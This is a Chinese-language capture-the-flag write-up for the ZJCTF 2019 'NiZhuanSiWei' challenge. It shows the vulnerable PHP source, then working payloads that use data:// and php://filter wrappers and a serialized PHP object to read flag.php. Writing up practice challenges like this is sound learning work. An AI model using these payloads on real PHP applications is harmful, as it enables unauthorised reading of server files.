[ZJCTF 2019]NiZhuanSiWei

imtaieee發表於2024-11-02

題目連結:https://buuoj.cn/challenges#[ZJCTF 2019]NiZhuanSiWei

開啟環境後如下所示。

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

根據原始碼,首先需要為 $text 變數設定為 "welcome to the zjctf",因此我們這裡使用 data:// 為協議進行設定。

Payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY%3d

隨後,原始碼中提示有 "useless.php" 檔案,因此可以在 $file 處使用 php://filter 協議讀取原始碼。

Payload:data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY%3d&file=php://filter/read=convert.base64-encode/resource=useless.php

讀取到的原始碼經 Base64 解碼後如下。

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

留意到 Flag 類存在 __toString 方法,恰好存在可以觸發該方法的流程,即:$password = unserialize($password);echo $password;

因此,將 Flag 類中的 $file 內容設定為 "flag.php",進行序列化,得到:O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

<?php

class Flag{  //flag.php  
    public $file="flag.php";  
}  

$demo = new Flag();
$demo_serialize = serialize($demo);

$fp1 = fopen("serialize.txt","a");
fwrite($fp1,$demo_serialize);
fclose($fp1);

$fp2 = fopen("(URL Encode)serialize.txt","a");
fwrite($fp2,urlencode($demo_serialize));
fclose($fp2);

?>

最終 Payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY%3d&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D